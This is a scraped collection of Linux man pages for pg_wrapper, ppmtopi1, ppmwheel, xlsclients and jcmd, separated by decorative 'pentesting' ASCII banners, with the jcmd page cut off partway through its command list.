  • YUV4MPEG2 is a movie format whose purpose is similar to that of the Netpbm formats for still images. You use it for manipulating movies, but not for storing or transmitting them. The only known use of the format is with MJPEGTools . The programs pnmtoy4m and y4mtopnm (and predecessors ppmtoy4m and y4mtoppm) in that package convert between a Netpbm stream and a YUV4MPEG2 stream. As you might guess from the name, YUV4MPEG2 uses a YUV representation of data, which is more convenient than the Netpbm formats’ RGB representation for working with data that is ultimately MPEG2.

History

Netpbm has a long history, starting with Jef Poskanzer’s Pbmplus package in 1988. See the Netpbm web site(1) for details.

The file doc/HISTORY in the Netpbm source code contains a detailed change history release by release.

Author

Netpbm is based on the Pbmplus package by Jef Poskanzer, first distributed in 1988 and maintained by him until 1991. But the package contains work by countless other authors, added since Jef’s original work. In fact, the name is derived from the fact that the work was contributed by people all over the world via the Internet, when such collaboration was still novel enough to merit naming the package after it.

Bryan Henderson has been maintaining Netpbm since 1999. In addition to packaging work by others, Bryan has also written a significant amount of new material for the package.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/index.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1775 - Linux cli command pg_wrapper

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_wrapper and provides detailed information about the command pg_wrapper, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_wrapper.

NAME 🖥️ pg_wrapper 🖥️

wrapper for PostgreSQL client commands

SYNOPSIS

client-program [–cluster version/cluster] […]

(client-program: psql, createdb, dropuser, and all other client programs installed in /usr/lib/postgresql/version/bin).

DESCRIPTION

This program is run only as a link to names which correspond to PostgreSQL programs in /usr/lib/postgresql/version/bin. It determines the configured cluster and database for the user and calls the appropriate version of the desired program to connect to that cluster and database, supplying any specified options to that command.

The target cluster is selected by the following means, in descending order of precedence:

  • explicit specification with the –host option

  • explicit specification with the –cluster option

  • if the PGHOST environment variable is set, no further cluster selection is performed. The default PostgreSQL version and port number (from the command line, the environment variable PGPORT, or default 5432) will be used.

  • explicit specification with the PGCLUSTER environment variable

  • if a port is given (either via -p, –port, or PGPORT), and no host is given, the local cluster matching that port number is used

  • matching entry in ~/.postgresqlrc (see postgresqlrc (5)), if that file exists

  • matching entry in /etc/postgresql-common/user_clusters (see user_clusters (5)), if that file exists

  • If only one cluster exists on the local system, that one will be selected.

  • If several clusters exist on the local system, the one listening on the default port 5432 will be selected.

If none of these rules match, pg_wrapper does not set any environment variables and the program called will likely error out with a message like “could not connect to server: Connection refused”.

For psql, pg_archivecleanup, and pg_isready, pg_wrapper will always use the binary from the newest PostgreSQL version installed, as these are downwards compatible. If the cluster version is older than 9.2, the newest considered binary version is 14.

Note that pg_wrapper needs to be able to read the server config to get the port number to connect to. If a non-standard port is configured in a place that pg_wrapper cannot read, connecting will fail. This particularly holds if the port was configured via ALTER SYSTEM in postgresql.auto.conf and pg_wrapper is invoked as any user other than postgres and root.

OPTIONS

–cluster version/cluster

–cluster version/host:[port]

cluster is either the name of a cluster on the local system, or takes the form host:port for a remote cluster. If port is left empty (i. e. you just specify host:), it defaults to 5432.

ENVIRONMENT

PGCLUSTER
If $PGCLUSTER is set, its value (of the form version/cluster) specifies the desired cluster, similar to the –cluster option. However, if –cluster is specified, it overrides the value of $PGCLUSTER.

PG_CLUSTER_CONF_ROOT
This specifies an alternative base directory for cluster configurations. This is usually /etc/postgresql/, but for testing/development purposes you can change this to point to e. g. your home directory, so that you can use the postgresql-common tools without root privileges.

PGSYSCONFDIR
This is the location of PostgreSQL’s and postgresql-common’s global configuration (e. g. pg_service.conf, user_clusters (5)). The default is /etc/postgresql-common/.

FILES

/etc/postgresql-common/user_clusters
stores the default cluster and database for users and groups as set by the administrators.

$HOME/.postgresqlrc
stores defaults set by the user himself.

SEE ALSO

user_clusters (5), postgresqlrc (5)

AUTHOR

Martin Pitt <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1776 - Linux cli command ppmtopi1

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtopi1 and provides detailed information about the command ppmtopi1, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtopi1.

.

NAME 🖥️ ppmtopi1 🖥️

convert a PPM image into an Atari Degas .pi1 file

SYNOPSIS

ppmtopi1

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtopi1 reads a PPM image as input and produces an Atari Degas .pi1 file as output.

OPTIONS

There are no command line options defined specifically for ppmtopi1, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pi1toppm(1) , ppm(1) , pbmtopi3(1) , pi3topbm(1)

AUTHOR

Copyright (C) 1991 by Steve Belczyk ([email protected]) and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtopi1.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1777 - Linux cli command ppmwheel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmwheel and provides detailed information about the command ppmwheel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmwheel.

.

NAME 🖥️ ppmwheel 🖥️

make a PPM image of a color wheel

SYNOPSIS

ppmwheel diameter [{-huevalue | -huesaturation}] [**-maxval=**N]

DESCRIPTION

This program is part of Netpbm(1) .

ppmwheel produces a PPM image of a color wheel of the specified diameter inside a white square just large enough to hold it.

The color wheel is based on the HSV color model. Hues are distributed angularly around the circle and the values and saturations are distributed radially.

You can generate three kinds of color wheel:

  • Hue-value: Select this with a -huevalue option.

The saturation is 100% everywhere. The value goes from zero to 100% linearly, from the center of the wheel to the edge. So the center is black.

Hence, the image consists of all of the secondary colors based on the red, green, and blue primary colors. A secondary color is one that is composed of light of at most two of the three primary colors.

  • Hue-saturation: Select this with a -huesaturation option.

The value is 100% everywhere. The saturation goes from zero to 100% linearly, from the center of the wheel to the edge. So the center is white.

  • Ppmcirc: Select this by not specifying any other wheel type option.

The saturation is 100% everywhere. The value is a strange function of the distance from the center, increasing as the square root of the distance until halfway out, then decreasing as the 8th root of the distance the rest of the way. We don’t know what the point of this is, but it is what the program Ppmcirc by Peter Kirchgessner in 1995 does, and was the only option in ppmwheel from its inception in 2003 to 2019.

ARGUMENTS

You must specify one non-option argument: the radius of the color wheel in pixels.

This is also the height and width of the output image.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmwheel recognizes the following command line options:

-huevalue
This selects a hue-value color wheel.

This option was new in Netpbm 10.86 (March 2019).

-huesaturation
This selects a hue-saturation color wheel.

This option was new in Netpbm 10.86 (March 2019).

**-maxval=**N
This selects the maxval for the image. The default is 255.

This option was new in Netpbm 10.86 (March 2019).

SEE ALSO

ppmcie(1) , ppmrainbow(1) , ppm(1)

HISTORY

ppmwheel was added to Netpbm in Release 10.14 (March 2003).

AUTHOR

Copyright (C) 1995 by Peter Kirchgessner

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmwheel.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1778 - Linux cli command xlsclients

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xlsclients and provides detailed information about the command xlsclients, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xlsclients.

NAME 🖥️ xlsclients 🖥️

list client applications running on a display

SYNOPSIS

xlsclients [-display displayname] [-a] [-l] [-m maxcmdlen] [-version]

DESCRIPTION

Xlsclients is a utility for listing information about the client applications running on a display. It may be used to generate scripts representing a snapshot of the user’s current session.

OPTIONS

-display displayname
This option specifies the X server to contact.

-a
This option indicates that clients on all screens should be listed. By default, only those clients on the default screen are listed.

-l
List in long format, giving the window name, icon name, and class hints in addition to the machine name and command string shown in the default format.

-m maxcmdlen
This option specifies the maximum number of characters in a command to print out. The default is 10000.

-version
Print the program version and exit.

ENVIRONMENT

DISPLAY
To get the default host, display number, and screen.

SEE ALSO

X(7), xwininfo(1), xprop(1)

AUTHOR

Jim Fulton, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1779 - Linux cli command jcmd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jcmd and provides detailed information about the command jcmd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jcmd.

NAME 🖥️ jcmd 🖥️

send diagnostic command requests to a running Java Virtual Machine (JVM)

SYNOPSIS

jcmd [pid | main-class] command… | PerfCounter.print | -f filename

jcmd [-l]

jcmd -h

pid
When used, the jcmd utility sends the diagnostic command request to the process ID for the Java process.

main-class
When used, the jcmd utility sends the diagnostic command request to all Java processes with the specified name of the main class.

command
The command must be a valid jcmd command for the selected JVM. The list of available commands for jcmd is obtained by running the help command (jcmd pid help) where pid is the process ID for the running Java process. If the pid is 0, commands will be sent to all Java processes. The main class argument will be used to match, either partially or fully, the class used to start Java. If no options are given, it lists the running Java process identifiers with the main class and command-line arguments that were used to launch the process (the same as using -l).

Perfcounter.print
Prints the performance counters exposed by the specified Java process.

-f filename
Reads and executes commands from a specified file, filename.

-l
Displays the list of Java Virtual Machine process identifiers that are not running in a separate docker process along with the main class and command-line arguments that were used to launch the process. If the JVM is in a docker process, you must use tools such as ps to look up the PID.

Note:

Using jcmd without arguments is the same as using jcmd -l.

-h
Displays the jcmd utility’s command-line help.

DESCRIPTION

The jcmd utility is used to send diagnostic command requests to the JVM. It must be used on the same machine on which the JVM is running, and have the same effective user and group identifiers that were used to launch the JVM. Each diagnostic command has its own set of arguments. To display the description, syntax, and a list of available arguments for a diagnostic command, use the name of the command as the argument. For example:

jcmd pid help command

If arguments contain spaces, then you must surround them with single or double quotation marks (' or "). In addition, you must escape single or double quotation marks with a backslash (\) to prevent the operating system shell from processing quotation marks. Alternatively, you can surround these arguments with single quotation marks and then with double quotation marks (or with double quotation marks and then with single quotation marks).

If you specify the process identifier (pid) or the main class (main-class) as the first argument, then the jcmd utility sends the diagnostic command request to the Java process with the specified identifier or to all Java processes with the specified name of the main class. You can also send the diagnostic command request to all available Java processes by specifying 0 as the process identifier.

COMMANDS FOR JCMD

The command must be a valid jcmd diagnostic command for the selected JVM. The list of available commands for jcmd is obtained by running the help command (jcmd pid help) where pid is the process ID for a running Java process. If the pid is 0, commands will be sent to all Java processes. The main class argument will be used to match, either partially or fully, the class used to start Java. If no options are given, it lists the running Java process identifiers that are not in separate docker processes along with the main class and command-line arguments that were used to launch the process (the same as using -l).

The following commands are available:

help [options] [arguments]
For more information about a specific command.

arguments:

  • command name: The name of the command for which we want help (STRING, no default value)

Note:

The following options must be specified using either key or key**=**value syntax.

options:

  • -all: (Optional) Show help for all commands (BOOLEAN, false) .

Compiler.codecache
Prints code cache layout and bounds.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

Compiler.codelist
Prints all compiled methods in code cache that are alive.

Impact: Medium

Permission: java.lang.management.ManagementPermission(monitor)

Compiler.queue
Prints methods queued for compilation.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

Compiler.directives_add *filename* *arguments*
Adds compiler directives from a file.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

arguments:

filename: The name of the directives file (STRING, no default value)

Compiler.directives_clear
Remove all compiler directives.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

Compiler.directives_print
Prints all active compiler directives.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

Compiler.directives_remove
Remove latest added compiler directive.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

GC.class_histogram [options]
Provides statistics about the Java heap usage.

Impact: High — depends on Java heap size and content.

Permission: java.lang.management.ManagementPermission(monitor)

Note:

The options must be specified using either key or key**=**value syntax.

options:

  • -all: (Optional) Inspects all objects, including unreachable objects (BOOLEAN, false)

GC.finalizer_info
Provides information about the Java finalization queue.

Impact: Medium

Permission: java.lang.management.ManagementPermission(monitor)

GC.heap_dump [options] [arguments]
Generates a HPROF format dump of the Java heap.

Impact: High — depends on the Java heap size and content. Request a full GC unless the -all option is specified.

Permission: java.lang.management.ManagementPermission(monitor)

Note:

The following options must be specified using either key or key**=**value syntax.

options:

  • -all: (Optional) Dump all objects, including unreachable objects (BOOLEAN, false)

arguments:

  • filename: The name of the dump file (STRING, no default value)

GC.heap_info
Provides generic Java heap information.

Impact: Medium

Permission: java.lang.management.ManagementPermission(monitor)

GC.run
Calls java.lang.System.gc().

Impact: Medium — depends on the Java heap size and content.

GC.run_finalization
Calls java.lang.System.runFinalization().

Impact: Medium — depends on the Java content.

JFR.check [options]
Show information about a running flight recording

Impact: Low

Note:

The options must be specified using either key or key**=**value syntax. If no parameters are entered, information for all active recordings is shown.

options:

  • name: (Optional) Name of the flight recording. (STRING, no default value)

  • verbose: (Optional) Flag for printing the event settings for the recording (BOOLEAN, false)

JFR.configure [options]
Set the parameters for a flight recording

Impact: Low

Note:

The options must be specified using either key or key**=**value syntax. If no parameters are entered, the current settings are displayed.

options:

  • globalbuffercount: (Optional) Number of global buffers. This option is a legacy option: change the memorysize parameter to alter the number of global buffers. This value cannot be changed once JFR has been initalized. (STRING, default determined by the value for memorysize)

  • globalbuffersize: (Optional) Size of the global buffers, in bytes. This option is a legacy option: change the memorysize parameter to alter the size of the global buffers. This value cannot be changed once JFR has been initalized. (STRING, default determined by the value for memorysize)

  • maxchunksize: (Optional) Maximum size of an individual data chunk in bytes if one of the following suffixes is not used: ’m’ or ‘M’ for megabytes OR ‘g’ or ‘G’ for gigabytes. This value cannot be changed once JFR has been initialized. (STRING, 12M)

  • memorysize: (Optional) Overall memory size, in bytes if one of the following suffixes is not used: ’m’ or ‘M’ for megabytes OR ‘g’ or ‘G’ for gigabytes. This value cannot be changed once JFR has been initialized. (STRING, 10M)

  • repositorypath: (Optional) Path to the location where recordings are stored until they are written to a permanent file. (STRING, The default location is the temporary directory for the operating system. On Linux operating systems, the temporary directory is /tmp. On Windwows, the temporary directory is specified by the TMP environment variable.)

  • stackdepth: (Optional) Stack depth for stack traces. Setting this value greater than the default of 64 may cause a performance degradation. This value cannot be changed once JFR has been initialized. (LONG, 64)

  • thread_buffer_size: (Optional) Local buffer size for each thread in bytes if one of the following suffixes is not used: ‘k’ or ‘K’ for kilobytes or ’m’ or ‘M’ for megabytes. Overriding this parameter could reduce performance and is not recommended. This value cannot be changed once JFR has been initialized. (STRING, 8k)

  • samplethreads: (Optional) Flag for activating thread sampling. (BOOLEAN, true)

JFR.dump [options]
Write data to a file while a flight recording is running

Impact: Low

Note:

The options must be specified using either key or key**=**value syntax. No options are required. The recording continues to run after the data is written.

options:

  • begin: (Optional) Specify the time from which recording data will be included in the dump file. The format is specified as local time. (STRING, no default value)

  • end: (Optional) Specify the time to which recording data will be included in the dump file. The format is specified as local time. (STRING, no default value)

    Note: For both begin and end, the time must be in a format that can be read by java.time.LocalTime::parse(STRING), java.time.LocalDateTime::parse(STRING) or java.time.Instant::parse(STRING). For example, “13:20:15”, “2020-03-17T09:00:00” or “2020-03-17T09:00:00Z”.

    Note: begin and end times correspond to the timestamps found within the recorded information in the flight recording data.

    Another option is to use a time relative to the current time that is specified by a negative integer followed by “s”, “m” or “h”. For example, “-12h”, “-15m” or “-30s”

  • filename: (Optional) Name of the file to which the flight recording data is dumped. If no filename is given, a filename is generated from the PID and the current date. The filename may also be a directory in which case, the filename is generated from the PID and the current date in the specified directory. (STRING, no default value)

  • maxage: (Optional) Length of time for dumping the flight recording data to a file. (INTEGER followed by ’s’ for seconds ’m’ for minutes or ‘h’ for hours, no default value)

  • maxsize: (Optional) Maximum size for the amount of data to dump from a flight recording in bytes if one of the following suffixes is not used: ’m’ or ‘M’ for megabytes OR ‘g’ or ‘G’ for gigabytes. (STRING, no default value)

  • name: (Optional) Name of the recording. If no name is given, data from all recordings is dumped. (STRING, no default value)

  • path-to-gc-root: (Optional) Flag for saving the path to garbage collection (GC) roots at the time the recording data is dumped. The path information is useful for finding memory leaks but collecting it can cause the application to pause for a short period of time. Turn on this flag only when you have an application that you suspect has a memory leak. (BOOLEAN, false)

JFR.start [options]
Start a flight recording

Impact: Low

Note:

The options must be specified using either key or key**=**value syntax. If no parameters are entered, then a recording is started with default values.

options:

  • delay: (Optional) Length of time to wait before starting to record (INTEGER followed by ’s’ for seconds ’m’ for minutes or ‘h’ for hours, 0s)

  • disk: (Optional) Flag for also writing the data to disk while recording (BOOLEAN, true)

  • dumponexit: (Optional) Flag for writing the recording to disk when the Java Virtual Machine (JVM) shuts down. If set to ’true’ and no value is given for filename, the recording is written to a file in the directory where the process was started. The file name is a system-generated name that contains the process ID, the recording ID and the current time stamp. (For example: id-1-2019_12_12_10_41.jfr) (BOOLEAN, false)

  • duration: (Optional) Length of time to record. Note that 0s means forever (INTEGER followed by ’s’ for seconds ’m’ for minutes or ‘h’ for hours, 0s)

  • filename: (Optional) Name of the file to which the flight recording data is written when the recording is stopped. If no filename is given, a filename is generated from the PID and the current date and is placed in the directory where the process was started. The filename may also be a directory in which case, the filename is generated from the PID and the current date in the specified directory. (STRING, no default value)

  • maxage: (Optional) Maximum time to keep the recorded data on disk. This parameter is valid only when the disk parameter is set to true. Note 0s means forever. (INTEGER followed by ’s’ for seconds ’m’ for minutes or ‘h’ for hours, 0s)

  • maxsize: (Optional) Maximum size of the data to keep on disk in bytes if one of the following suffixes is not used: ’m’ or ‘M’ for megabytes OR ‘g’ or ‘G’ for gigabytes. This parameter is valid only when the disk parameter is set to ’true’. The value must not be less than the value for the maxchunksize parameter set with the JFR.configure command. (STRING, 0 (no maximum size))

  • name: (Optional) Name of the recording. If no name is provided, a name is generated. Make note of the generated name that is shown in the response to the command so that you can use it with other commands. (STRING, system-generated default name)

  • path-to-gc-root: (Optional) Flag for saving the path to garbage collection (GC) roots at the end of a recording. The path information is useful for finding memory leaks but collecting it is time consuming. Turn on this flag only when you have an application that you suspect has a memory leak. If the settings parameter is set to ‘profile’, then the information collected includes the stack trace from where the potential leaking object was allocated. (BOOLEAN, false)

  • settings: (Optional) Name of the settings file that identifies which events to record. To specify more than one file, separate the names with a comma (’,’). Include the path if the file is not in JAVA-HOME/lib/jfr. The following profiles are included with the JDK in the JAVA-HOME/lib/jfr directory: ‘default.jfc’: collects a predefined set of information with low overhead, so it has minimal impact on performance and can be used with recordings that run continuously; ‘profile.jfc’: Provides more data than the ‘default.jfc’ profile, but with more overhead and impact on performance. Use this configuration for short periods of time when more information is needed. Use none to start a recording without a predefined configuration file. (STRING, JAVA-HOME/lib/jfr/default.jfc)

Event settings and .jfc options can be specified using the following syntax:

  • option: (Optional) Specifies the option value to modify. To list available options, use the JAVA_HOME/bin/jfr tool.

  • event-setting: (Optional) Specifies the event setting value to modify. Use the form: #= To add a new event setting, prefix the event name with ‘+’.

You can specify values for multiple event settings and .jfc options by separating them with a whitespace. In case of a conflict between a parameter and a .jfc option, the parameter will take precedence. The whitespace delimiter can be omitted for timespan values, i.e. 20ms. For more information about the settings syntax, see Javadoc of the jdk.jfr package.

JFR.stop [options]
Stop a flight recording

Impact: Low

Note:

The options must be specified using either key or key**=**value syntax. If no parameters are entered, then no recording is stopped.

options:

  • filename: (Optional) Name of the file to which the recording is written when the recording is stopped. If no path is provided, the data from the recording is discarded. (STRING, no default value)

  • name: (Optional) Name of the recording (STRING, no default value)

JVMTI.agent_load [arguments]
Loads JVMTI native agent.

Impact: Low

Permission: java.lang.management.ManagementPermission(control)

arguments:

  • library path: Absolute path of the JVMTI agent to load. (STRING, no default value)

  • agent option: (Optional) Option string to pass the agent. (STRING, no default value)

JVMTI.data_dump
Signals the JVM to do a data-dump request for JVMTI.

Impact: High

Permission: java.lang.management.ManagementPermission(monitor)

ManagementAgent.start [options]
Starts remote management agent.

Impact: Low — no impact

Note:

The following options must be specified using either key or key**=**value syntax.

options:

  • config.file: (Optional) Sets com.sun.management.config.file (STRING, no default value)

  • jmxremote.host: (Optional) Sets com.sun.management.jmxremote.host (STRING, no default value)

  • jmxremote.port: (Optional) Sets com.sun.management.jmxremote.port (STRING, no default value)

  • jmxremote.rmi.port: (Optional) Sets com.sun.management.jmxremote.rmi.port (STRING, no default value)

  • jmxremote.ssl: (Optional) Sets com.sun.management.jmxremote.ssl (STRING, no default value)

  • jmxremote.registry.ssl: (Optional) Sets com.sun.management.jmxremote.registry.ssl (STRING, no default value)

  • jmxremote.authenticate: (Optional) Sets com.sun.management.jmxremote.authenticate (STRING, no default value)

  • jmxremote.password.file: (Optional) Sets com.sun.management.jmxremote.password.file (STRING, no default value)

  • jmxremote.access.file: (Optional) Sets com.sun.management.jmxremote.acce ss.file (STRING, no default value)

  • jmxremote.login.config: (Optional) Sets com.sun.management.jmxremote.log in.config (STRING, no default value)

  • jmxremote.ssl.enabled.cipher.suites: (Optional) Sets com.sun.management.

  • jmxremote.ssl.enabled.cipher.suite: (STRING, no default value)

  • jmxremote.ssl.enabled.protocols: (Optional) Sets com.sun.management.jmxr emote.ssl.enabled.protocols (STRING, no default value)

  • jmxremote.ssl.need.client.auth: (Optional) Sets com.sun.management.jmxre mote.need.client.auth (STRING, no default value)

  • jmxremote.ssl.config.file: (Optional) Sets com.sun.management.jmxremote. ssl_config_file (STRING, no default value)

  • jmxremote.autodiscovery: (Optional) Sets com.sun.management.jmxremote.au todiscovery (STRING, no default value)

  • jdp.port: (Optional) Sets com.sun.management.jdp.port (INT, no default value)

  • jdp.address: (Optional) Sets com.sun.management.jdp.address (STRING, no default value)

  • jdp.source_addr: (Optional) Sets com.sun.management.jdp.source_addr (STRING, no default value)

  • jdp.ttl: (Optional) Sets com.sun.management.jdp.ttl (INT, no default value)

  • jdp.pause: (Optional) Sets com.sun.management.jdp.pause (INT, no default value)

  • jdp.name: (Optional) Sets com.sun.management.jdp.name (STRING, no default value)

ManagementAgent.start_local
Starts the local management agent.

Impact: Low — no impact

ManagementAgent.status
Print the management agent status.

Impact: Low — no impact

Permission: java.lang.management.ManagementPermission(monitor)

ManagementAgent.stop
Stops the remote management agent.

Impact: Low — no impact

Thread.print [options]
Prints all threads with stacktraces.

Impact: Medium — depends on the number of threads.

Permission: java.lang.management.ManagementPermission(monitor)

Note:

The following options must be specified using either key or key**=**value syntax.

options:

  • -l: (Optional) Prints java.util.concurrent locks (BOOLEAN, false)

VM.cds [arguments]
Dumps a static or dynamic shared archive that includes all currently loaded classes.

Impact: Medium — pause time depends on number of loaded classes

Permission: java.lang.management.ManagementPermission(monitor)

arguments:

  • subcmd: must be either static_dump or

  • filename: (Optional) Name of the shared archive to be dumped (STRING, no default value)

If filename is not specified, a default file name is chosen using the pid of the target JVM process. For example, java_pid1234_static.jsa, java_pid5678_dynamic.jsa, etc.

If filename is not specified as an absolute path, the archive file is created in a directory relative to the current directory of the target JVM process.

VM.classloaders [options]
Prints classloader hierarchy.

Impact: Medium — Depends on number of class loaders and classes loaded.

Permission: java.lang.management.ManagementPermission(monitor)

The following options must be specified using either key or key**=**value syntax.

options:

  • show-classes: (Optional) Print loaded classes. (BOOLEAN, false)

  • verbose: (Optional) Print detailed information. (BOOLEAN, false)

  • fold: (Optional) Show loaders of the same name and class as one. (BOOLEAN, true)

VM.classloader_stats
Prints statistics about all ClassLoaders.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

VM.class_hierarchy [options] [arguments]
Prints a list of all loaded classes, indented to show the class hierarchy. The name of each class is followed by the ClassLoaderData* of its ClassLoader, or “null” if it is loaded by the bootstrap class loader.

Impact: Medium — depends on the number of loaded classes.

Permission: java.lang.management.ManagementPermission(monitor)

Note:

The following options must be specified using either key or key**=**value syntax.

options:

  • -i: (Optional) Inherited interfaces should be printed. (BOOLEAN, false)

  • -s: (Optional) If a class name is specified, it prints the subclasses. If the class name is not specified, only the superclasses are printed. (BOOLEAN, false)

arguments:

  • classname: (Optional) The name of the class whose hierarchy should be printed. If not specified, all class hierarchies are printed. (STRING, no default value)

VM.command_line
Prints the command line used to start this VM instance.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

VM.dynlibs
Prints the loaded dynamic libraries.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

VM.info
Prints information about the JVM environment and status.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

VM.log [options]
Lists current log configuration, enables/disables/configures a log output, or rotates all logs.

Impact: Low

Permission: java.lang.management.ManagementPermission(control)

options:

Note:

